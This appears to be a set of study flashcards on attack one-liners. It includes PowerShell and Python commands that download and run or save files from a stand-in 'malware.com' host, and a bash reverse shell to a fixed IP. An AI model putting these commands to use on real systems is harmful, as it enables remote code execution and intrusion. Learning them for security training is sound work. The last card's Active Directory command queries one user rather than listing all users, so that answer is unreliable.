Section 23: Exploits and Automation

Question 1

PowerShell (Download and Run a Script )

Answer 1

PowerShell (Download and Run a Script )
▪ powershell.exe -c “IEX((New-Object System.Net.WebClient).
DownloadString(‘https://malware.com/badstuff.ps1’))”

Question 2

PowerShell (Download a File)

Answer 2

PowerShell (Download a File)
▪ powershell.exe -c “(New-Object System.Net.WebClient).
DownloadFile(“https://malware.com/badstuff.zip”,
“C:\Windows\Temp\downloaded.zip”)”

Question 3

Python (Download a File)

Answer 3

Python (Download a File)
▪ import requests
url = ‘https://malware.com/badstuff.zip’
r = requests.get(url, allow_redirects=True)
open(‘downloaded.zip’, ‘wb’).write(r.content)

Question 4

Bash (Reverse Shell)

Answer 4

bash -i >& /dev/tcp/66.77.88.99/443 0>&1

Question 5

PowerShell (List All Users in a Domain)

Answer 5

PowerShell (List All Users in a Domain)
▪ Import-Module ActiveDirectory; Get-ADUser -Identity <username> -
properties *</username>